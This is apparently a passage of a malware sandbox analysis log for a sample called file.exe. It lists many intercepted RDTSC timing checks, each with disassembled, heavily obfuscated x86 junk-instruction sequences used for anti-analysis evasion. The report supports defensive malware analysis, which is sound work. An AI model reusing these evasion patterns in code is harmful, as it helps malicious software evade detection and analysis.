Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6040E second address: 4B60480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bh 0x00000005 push esi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b pushad 0x0000000c pushad 0x0000000d mov dl, ah 0x0000000f mov dl, AFh 0x00000011 popad 0x00000012 mov bl, cl 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F5E68E41F20h 0x0000001b nop 0x0000001c jmp 00007F5E68E41F20h 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 pushad 0x00000025 jmp 00007F5E68E41F1Eh 0x0000002a push eax 0x0000002b push edx 0x0000002c pushfd 0x0000002d jmp 00007F5E68E41F20h 0x00000032 jmp 00007F5E68E41F25h 0x00000037 popfd 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60480 second address: 4B6050B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5E68513430h 0x00000008 or eax, 73766998h 0x0000000e jmp 00007F5E6851342Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov dword ptr fs:[00000000h], eax 0x0000001d jmp 00007F5E68513436h 0x00000022 mov dword ptr [ebp-18h], esp 0x00000025 jmp 00007F5E68513430h 0x0000002a mov eax, dword ptr fs:[00000018h] 0x00000030 pushad 0x00000031 jmp 00007F5E6851342Eh 0x00000036 jmp 00007F5E68513432h 0x0000003b popad 0x0000003c mov ecx, dword ptr [eax+00000FDCh] 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6050B second address: 4B60511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60511 second address: 4B60533 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 mov al, 9Ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test ecx, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E68513434h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5026F second address: 4B5028B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5028B second address: 4B502A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov bl, E7h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5E6851342Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502A9 second address: 4B502AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502AD second address: 4B502B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502B3 second address: 4B502EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx esi, di 0x0000000f push edi 0x00000010 mov edi, eax 0x00000012 pop esi 0x00000013 popad 0x00000014 sub esp, 2Ch 0x00000017 jmp 00007F5E68E41F21h 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502EB second address: 4B502F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502F1 second address: 4B50355 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F5E68E41F21h 0x00000010 mov esi, 41BC4D67h 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushfd 0x00000019 jmp 00007F5E68E41F23h 0x0000001e sub cx, 6FAEh 0x00000023 jmp 00007F5E68E41F29h 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50355 second address: 4B5037D instructions: 0x00000000 rdtsc 0x00000002 call 00007F5E68513430h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d mov edx, 02553472h 0x00000012 movsx edi, si 0x00000015 popad 0x00000016 xchg eax, edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5037D second address: 4B50381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50381 second address: 4B50398 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513433h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50398 second address: 4B503C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5E68E41F1Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503C4 second address: 4B503E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E6851342Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E68513430h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503E8 second address: 4B503EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503EC second address: 4B503F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503F2 second address: 4B50403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E68E41F1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50403 second address: 4B50407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504A7 second address: 4B504AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504AD second address: 4B504B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504B3 second address: 4B504B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504B7 second address: 4B504BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504D5 second address: 4B5050A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, FB91h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b pushad 0x0000000c movzx eax, di 0x0000000f movsx edx, ax 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F5E68E41F21h 0x00000019 nop 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5E68E41F1Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5050A second address: 4B5051A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E6851342Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50558 second address: 4B5055E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5055E second address: 4B505A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F5ED95E134Ch 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F5E68513435h 0x00000015 jmp 00007F5E6851342Bh 0x0000001a popfd 0x0000001b movzx eax, di 0x0000001e popad 0x0000001f js 00007F5E68513494h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov bx, cx 0x0000002b mov eax, 2DB95F4Fh 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B505A5 second address: 4B505D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E68E41F1Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B505D0 second address: 4B505D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B505D6 second address: 4B505F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F5ED9F0FDD3h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5E68E41F22h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B505F8 second address: 4B50600 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50600 second address: 4B50703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, dword ptr [ebp+08h] 0x0000000a jmp 00007F5E68E41F26h 0x0000000f lea eax, dword ptr [ebp-2Ch] 0x00000012 jmp 00007F5E68E41F20h 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 movzx eax, dx 0x0000001c pushfd 0x0000001d jmp 00007F5E68E41F23h 0x00000022 sub esi, 51CB2BDEh 0x00000028 jmp 00007F5E68E41F29h 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 mov si, di 0x00000034 jmp 00007F5E68E41F23h 0x00000039 popad 0x0000003a xchg eax, esi 0x0000003b jmp 00007F5E68E41F26h 0x00000040 nop 0x00000041 pushad 0x00000042 mov dh, al 0x00000044 popad 0x00000045 push eax 0x00000046 jmp 00007F5E68E41F24h 0x0000004b nop 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushfd 0x00000050 jmp 00007F5E68E41F1Dh 0x00000055 sub cx, E786h 0x0000005a jmp 00007F5E68E41F21h 0x0000005f popfd 0x00000060 pushfd 0x00000061 jmp 00007F5E68E41F20h 0x00000066 xor ax, DA28h 0x0000006b jmp 00007F5E68E41F1Bh 0x00000070 popfd 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50703 second address: 4B50724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, B0CAh 0x00000007 movsx edi, cx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e jmp 00007F5E6851342Ah 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 mov ebx, ecx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50724 second address: 4B5072A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50035 second address: 4B5007F instructions: 0x00000000 rdtsc 0x00000002 mov eax, 0AE15CDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F5E68513434h 0x0000000e call 00007F5E68513432h 0x00000013 pop esi 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F5E68513433h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5007F second address: 4B5009C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5009C second address: 4B50110 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E68513437h 0x00000009 sbb ch, 0000004Eh 0x0000000c jmp 00007F5E68513439h 0x00000011 popfd 0x00000012 mov ax, 8057h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F5E6851342Fh 0x00000023 add al, 0000005Eh 0x00000026 jmp 00007F5E68513439h 0x0000002b popfd 0x0000002c movzx esi, di 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50110 second address: 4B50170 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 mov ecx, 2C0D073Bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 call 00007F5E68E41F1Ch 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 pushfd 0x0000001a jmp 00007F5E68E41F21h 0x0000001f sub ecx, 3EB019F6h 0x00000025 jmp 00007F5E68E41F21h 0x0000002a popfd 0x0000002b popad 0x0000002c xchg eax, ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 call 00007F5E68E41F1Fh 0x00000035 pop eax 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50170 second address: 4B501D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513436h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5E6851342Bh 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 call 00007F5E6851342Bh 0x00000018 pop ecx 0x00000019 pushfd 0x0000001a jmp 00007F5E68513439h 0x0000001f sub esi, 2441D8C6h 0x00000025 jmp 00007F5E68513431h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50CE5 second address: 4B50CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50CE9 second address: 4B50D06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50D06 second address: 4B50D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50E61 second address: 4B50E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50E65 second address: 4B50E69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50E69 second address: 4B50E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50E6F second address: 4B50E84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E68E41F21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50E84 second address: 4B50E88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B609E7 second address: 4B60A2E instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bh, al 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5E68E41F26h 0x00000011 sbb cx, 4BE8h 0x00000016 jmp 00007F5E68E41F1Bh 0x0000001b popfd 0x0000001c mov ch, 97h 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F5E68E41F1Eh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A2E second address: 4B60A40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E6851342Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A40 second address: 4B60A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov ebx, ecx 0x00000010 mov ebx, esi 0x00000012 popad 0x00000013 xchg eax, esi 0x00000014 pushad 0x00000015 mov si, BB9Fh 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F5E68E41F20h 0x00000020 xchg eax, esi 0x00000021 jmp 00007F5E68E41F20h 0x00000026 mov esi, dword ptr [ebp+0Ch] 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A8B second address: 4B60A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A8F second address: 4B60A95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A95 second address: 4B60A9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A9B second address: 4B60AD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F5E68E41F1Ah 0x0000000f je 00007F5ED9EEF81Eh 0x00000015 jmp 00007F5E68E41F20h 0x0000001a cmp dword ptr [75C7459Ch], 05h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60AD2 second address: 4B60AD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60AD8 second address: 4B60AE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E68E41F1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60AE7 second address: 4B60AEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60AEB second address: 4B60B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F5ED9F078BAh 0x0000000e jmp 00007F5E68E41F25h 0x00000013 xchg eax, esi 0x00000014 jmp 00007F5E68E41F1Eh 0x00000019 push eax 0x0000001a pushad 0x0000001b mov bh, 19h 0x0000001d call 00007F5E68E41F1Ah 0x00000022 mov esi, 4A459991h 0x00000027 pop esi 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B39 second address: 4B60B4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513432h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B4F second address: 4B60B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B55 second address: 4B60B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B7D second address: 4B60B82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B82 second address: 4B60BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, F5h 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5E68513435h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60C07 second address: 4B60C0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60C0C second address: 4B60C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007F5E6851342Dh 0x00000010 mov ax, E527h 0x00000014 popad 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5E68513439h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60C45 second address: 4B60C55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E68E41F1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60130B6 second address: 60130BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60130BE second address: 60130C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6008170 second address: 6008188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5E6851342Eh 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601216F second address: 6012181 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5E68E41F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F5E68E41F22h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6012181 second address: 601218E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5E68513426h 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60122E2 second address: 6012307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007F5E68E41F3Bh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F5E68E41F25h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015780 second address: 60157A4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F5E68513435h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60157A4 second address: 60157F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ecx, dword ptr [ebp+122D2DD8h] 0x00000011 ja 00007F5E68E41F1Ch 0x00000017 push 00000000h 0x00000019 mov ecx, dword ptr [ebp+122D2B74h] 0x0000001f push A48E2B3Dh 0x00000024 pushad 0x00000025 push eax 0x00000026 je 00007F5E68E41F16h 0x0000002c pop eax 0x0000002d pushad 0x0000002e jmp 00007F5E68E41F26h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60157F0 second address: 601584F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 5B71D543h 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F5E68513428h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D250Fh], esi 0x0000002d push 00000003h 0x0000002f xor dword ptr [ebp+122D36CFh], ecx 0x00000035 push 00000000h 0x00000037 jo 00007F5E6851342Bh 0x0000003d mov ecx, 62F0CF1Fh 0x00000042 push 00000003h 0x00000044 mov dword ptr [ebp+122D250Fh], eax 0x0000004a call 00007F5E68513429h 0x0000004f pushad 